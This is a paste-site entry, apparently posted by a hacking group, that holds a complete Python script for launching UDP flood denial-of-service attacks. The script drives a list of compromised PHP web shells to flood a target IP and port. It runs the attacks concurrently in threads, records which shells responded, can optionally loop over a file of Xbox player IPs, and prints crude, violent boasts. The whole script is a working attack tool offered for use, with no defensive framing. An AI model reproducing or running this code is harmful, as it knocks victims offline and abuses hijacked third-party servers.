KekSec icon

Goof IP Analator [UDP Shell booter Python 3 Version]

KekSec | PRO | 01/07/19 01:37:11 AM UTC | 0 ⭐ | 1891 👁️ | Never ⏰ | []
Python |

2.75 KB

|

None

|

0 👍

/

0 👎

import threading, socket, urllib
from time import sleep
 
mbs = 0
packets = 0
threads = 0
 
def Hit(ip, port, time, shell):
    global threads
    global mbs
    global packets
    threads += 1
    shell = shell.replace("\r", "").replace("\n", "")
    try:
        response = urllib.request.urlopen(shell + "?act=phptools&x=phptools&type=UDP&method=UDP&host=" + ip + "&ip=" + ip + "&port=" + port + "&time=" + time).read().decode('utf-8')
        packets += int(response.split("Completed with ")[1].split(" (")[0])
        mb = float(response.split("Completed with ")[1].split(" (")[1].split(" MB) ")[0])
        mbs += mb
        print(str(mb) + " MBs sprayed by " + shell + " at " + ip)
        f=open("working.txt", "a")
        f.write(shell)
        f.close()
    except Exception as e:
        pass
    threads -= 1
 
def Boot(ip, port, time, shells):
    global threads
    global mbs
    global packets
    threads += 1
    for shell in shells:
        if threads >= 376:
            sleep(0.370)
        thread = threading.Thread(target = Hit, args = (ip, port, time, shell,))
        thread.start()
    threads -= 1
fh = open("shells.txt", "r")
shells = fh.read().strip("\r").split("\n")
fh.close()
 
print("[+] Successfully loaded " + str(len(shells)) + " shells.")
 
attackall = "" # input("Attack all ips from xboxips.txt? ")
if attackall.upper().startswith("Y") == False:
    ip = input("Target IP: ")
 
port = input("Target port [53]: ")
if port == "":
    port = "53"
 
time = input("Time [120]: ")
if time == "":
    time = "120"
 
attkthreads = input("Attack threads [4]: ") 
if attkthreads == "":
    attkthreads = 4
else:
    attkthreads = int(attkthreads)
 
if attackall.upper().startswith("Y"):
    fh = open("xboxips.txt")
    ips = fh.read().strip("\r").split("\n")
    fh.close()
    print("[+] Raping " + str(len(ips)) + " connections. Get fuking fuckd ;)")
    for ip in ips:
        print("Hitting " + ip + ":" + port + " for " + time + " secs with " + attkthreads + " threads.")
        for thread in range (0, attkthreads):
            Boot(ip, port, time, shells)
        sleep(0.2)
else: #this makes my OCD so bad omg
    print("Hitting " + ip + ":" + port + " for " + time + " secs with " + str(attkthreads) + " threads.")
    for thread in range (0, attkthreads):
        Boot(ip, port, time, shells)
    sleep(1)
 
try:
    sleep(int(time) + 5)
except KeyboardInterrupt:
    pass
 
while threads >= 1:
    try:
        print("Waiting for " + str(threads) + " threads to finish...")
        sleep(10)
    except KeyboardInterrupt:
        break
        pass
print("[+] Grand total of " + str(mbs) + " mb sent at " + str(float(mbs / int(time))) + " mb/s with " + str(packets) + " packets per second ^-^")

Comments

  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎